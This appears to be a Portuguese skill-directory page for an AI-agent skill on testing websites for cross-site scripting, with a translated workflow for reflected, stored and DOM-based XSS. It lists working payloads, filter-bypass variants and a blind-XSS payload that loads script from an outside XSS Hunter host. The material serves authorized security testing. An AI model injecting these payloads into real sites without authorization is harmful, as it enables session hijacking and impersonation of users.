Pular para o conteúdo
Skillpedia
Testes35 mil · #6229

testing-for-xss-vulnerabilities

Ajuda seu agente a testar sites contra ataques XSS. Ele procura por maneiras de executar código no navegador do usuário para roubar informações. Útil para garantir que sites sejam seguros contra invasores.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em sites que permitem que um invasor injete código malicioso. Ela verifica se o site está protegido contra ataques que podem roubar informações do usuário ou controlar sua conta.

Quando usar

  • ✓Ao testar a segurança de um site para garantir que ele não seja vulnerável a ataques de injeção de código.
  • ✓Para verificar se as proteções do site contra código malicioso estão funcionando corretamente.
  • ✓Para demonstrar como um ataque pode roubar informações de um usuário ou se passar por ele.

Exemplo do que pedir para a IA

“Verifique se o site X está seguro contra injeção de código malicioso e roubo de sessão.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta insere pequenos pedaços de código (como 'alert(1)') em diferentes partes de um site para ver se o código é executado. Ela também tenta contornar as proteções existentes para provar que o ataque é possível.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-for-xss-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-for-xss-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando Vulnerabilidades XSS

Quando Usar

  • Testar aplicações web em busca de vulnerabilidades de injeção do lado do cliente como parte dos testes do OWASP WSTG
  • Avaliar a eficácia da sanitização de entrada e codificação de saída em todas as funcionalidades da aplicação
  • Avaliar a proteção fornecida pelos cabeçalhos de Content Security Policy (CSP) contra exploração de XSS
  • Demonstrar o impacto do XSS através de sequestro de sessão, roubo de credenciais ou sobreposição de phishing para stakeholders
  • Testar aplicações de página única (React, Angular, Vue) em busca de XSS baseado em DOM no roteamento e renderização do lado do cliente

Não use contra aplicações sem autorização por escrito, para implantar payloads XSS persistentes que afetem usuários reais, ou para exfiltrar tokens de sessão de usuários reais de ambientes de produção.

Pré-requisitos

  • Escopo autorizado definindo a aplicação web alvo e as atividades de teste aceitáveis
  • Burp Suite Professional com extensões focadas em XSS (XSS Validator, Reflector, Active Scan++)
  • Navegador com ferramentas de desenvolvedor e extensões de teste XSS (HackBar, XSS Hunter)
  • XSS Hunter ou Burp Collaborator para verificação de payload out-of-band
  • Listas de payloads XSS do SecLists e payloads personalizados para cenários de bypass de WAF

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Mapeamento de Entrada e Saída

Mapeie todos os locais onde a entrada do usuário entra e é renderizada pela aplicação:

  • Entradas Refletidas: Teste todos os parâmetros de URL, campos de busca, mensagens de erro e valores de cabeçalho HTTP que são refletidos na resposta
  • Entradas Armazenadas: Identifique funcionalidades onde a entrada é salva e exibida posteriormente: perfis de usuário, comentários, posts de fórum, nomes de arquivos, tickets de suporte e mensagens de chat
  • Entradas DOM: Identifique JavaScript do lado do cliente que lê de location.hash, location.search, document.referrer, window.name, postMessage ou localStorage e escreve no DOM
  • Identificação do Contexto de Saída: Para cada entrada refletida, determine o contexto de renderização:
    • Corpo HTML: <div>USER_INPUT</div>
    • Atributo HTML: <input value="USER_INPUT">
    • String JavaScript: var x = 'USER_INPUT';
    • Contexto de URL: <a href="USER_INPUT">
    • Contexto CSS: <div style="color: USER_INPUT">

Etapa 2: Teste de XSS Refletido

Teste pontos de injeção refletida com payloads apropriados ao contexto:

  • Contexto do corpo HTML: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
  • Contexto de atributo HTML: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
  • Contexto de string JavaScript: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
  • Contexto de URL/href: javascript:alert(1), data:text/html,<script>alert(1)</script>
  • Dentro de comentários HTML: --><script>alert(1)</script><!--
  • Payloads de bypass de filtro (quando payloads básicos são bloqueados):
    • Variação de maiúsculas/minúsculas: <ScRiPt>alert(1)</sCrIpT>
    • Manipuladores de eventos: <details open ontoggle=alert(1)>
    • SVG: <svg><animate onbegin=alert(1) attributeName=x>
    • Codificação: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Etapa 3: Teste de XSS Armazenado

Teste pontos de armazenamento persistente que renderizam a entrada para outros usuários:

  • Envie payloads XSS para todos os campos de entrada armazenados identificados na Etapa 1
  • Use um identificador exclusivo em cada payload para rastrear quais entradas disparam: <script>alert('XSS-PROFILE-001')</script>
  • Verifique todos os locais onde a entrada armazenada é renderizada (a mesma entrada pode aparecer em várias páginas)
  • Teste funcionalidades de upload de arquivos com arquivos HTML contendo JavaScript, arquivos SVG com scripts embutidos e nomes de arquivos contendo payloads XSS
  • Teste editores de rich text injetando payloads através do modo HTML bruto ou manipulando os dados POST após a sanitização do editor do lado do cliente
  • Use payloads do XSS Hunter ("><script src=https://yourxsshunter.xss.ht></script>) para XSS armazenado cego onde o payload dispara em um painel de administrador ou ferramenta interna que você não pode acessar diretamente

Etapa 4: Teste de XSS Baseado em DOM

Analise o JavaScript do lado do cliente em busca de manipulação insegura do DOM:

  • Identificação de fontes: Procure no JavaScript fontes perigosas que leem entradas controladas pelo atacante:
    • document.location, document.URL, document.referrer
    • location.hash, location.search, location.href

…

Perguntas frequentes

O que é XSS?

XSS (Cross-Site Scripting) é um tipo de ataque onde um invasor injeta scripts maliciosos em sites confiáveis, que podem ser executados no navegador de outros usuários.

O que são 'payloads'?

Payloads são os códigos maliciosos que o invasor tenta injetar no site. Podem ser desde um simples comando para exibir uma mensagem até códigos mais complexos para roubar dados.

O que é 'CSP'?

CSP (Content Security Policy) é uma camada de segurança que ajuda a prevenir ataques XSS e outros ataques de injeção de código, dizendo ao navegador quais fontes de conteúdo são confiáveis.

Detalhes

Descrição original do autor

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6229
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas